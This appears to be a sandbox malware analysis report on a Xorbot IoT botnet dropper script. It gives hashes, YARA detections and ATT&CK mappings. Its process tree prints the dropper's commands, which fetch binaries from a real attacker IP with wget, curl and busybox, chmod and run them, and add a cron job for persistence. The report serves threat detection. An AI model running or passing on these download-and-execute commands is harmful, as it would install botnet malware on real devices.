xorbot | 37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45

Analysis

max time kernel
149s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/02/2025, 18:52

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General

Target

bins.sh
Size

10KB
MD5

d8126e215a151514ecccbac0d89fa606
SHA1

b1a73227b60aed5bec1dfb839fb3284e529c3f14
SHA256

37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45
SHA512

c5fb3b89c403a94cb75a375c82d4f541f3d1d290dd37156449ed63ae0d5ffa578a951e9068f65c8a353bd8e482cb73305b19a7401302a703351b3d3540cc7f7a
SSDEEP

192:NmZcq5vRAiAeAdAgAYA4bAiAeAdAgAYAuQn:Nm/5vRVxmnfTbVxmnfY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-4.dat	family_xorbot
behavioral1/files/fstream-6.dat	family_xorbot
behavioral1/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1532	chmod
1539	chmod
1546	chmod
1553	chmod
1560	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	1533	bins.sh
/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	1540	bins.sh
/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	1547	bins.sh
/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8	1554	bins.sh
/tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2	1561	bins.sh

Renames itself 1 IoCs

pid	Process
1562	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.DftbFz	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/181/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/14/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/115/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/172/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/175/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/185/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/328/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/467/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/957/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/4/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/28/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/946/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1043/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1132/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1163/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1182/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1392/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1153/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1268/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1519/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1521/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1524/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1569/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/23/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/180/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/462/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/534/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1119/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1176/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1517/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/183/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/429/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/686/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/29/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/971/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1326/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/79/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/80/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/179/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/316/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/672/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/417/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/450/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/461/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/684/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/970/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1203/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/3/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/9/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/664/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/721/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1018/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1023/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1308/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/19/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/26/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/251/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/451/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/645/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1140/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1199/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/1518/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/31/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
File opened for reading	/proc/82/cmdline	A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8	curl
File opened for modification	/tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2	wget
File opened for modification	/tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2	busybox
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	curl
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	busybox
File opened for modification	/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	curl
File opened for modification	/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	busybox
File opened for modification	/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8	wget
File opened for modification	/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8	busybox
File opened for modification	/tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2	curl
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	wget
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	busybox
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	wget
File opened for modification	/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1521
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1522
- /usr/bin/wget
  wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Writes file to tmp directory
  PID:1523
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:1527
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  ./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:1533
- /bin/rm
  rm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod 777 tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  ./tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  PID:1540
- /bin/rm
  rm tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  PID:1542
- /usr/bin/wget
  wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - Writes file to tmp directory
  PID:1543
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod 777 HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  ./HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:1547
- /bin/rm
  rm HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:1549
- /usr/bin/wget
  wget http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - Writes file to tmp directory
  PID:1550
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod 777 yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - File and Directory Permissions Modification
  PID:1553
- /tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  ./yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  PID:1554
- /bin/rm
  rm yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod 777 A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  ./A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1561
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1563
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1564
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1565
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1566
- /bin/rm
  rm A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://37.44.238.88/bins/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
  2⤵
  PID:1571

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.DftbFz

Filesize
210B

MD5
784c1dbbd4655100e09da528aa2771c3

SHA1
fc13a876cf879f679e31c4e2d98d4cc72c1197c1

SHA256
609ecba216cdc30b559e5122d971b9c626ef0ebb8b40764fb2462cde16418b85

SHA512
ec5e2dde0ad46f66ed9cb6ec0f4a3fbc084315a85ade2aad0822c9a0ed986bd120423a674e8b4a8ed64ee078941e3beb8ffdec31544ff84450aab762d8ed44d1

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Malware Config

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Network

MITRE ATT&CK Enterprise v15

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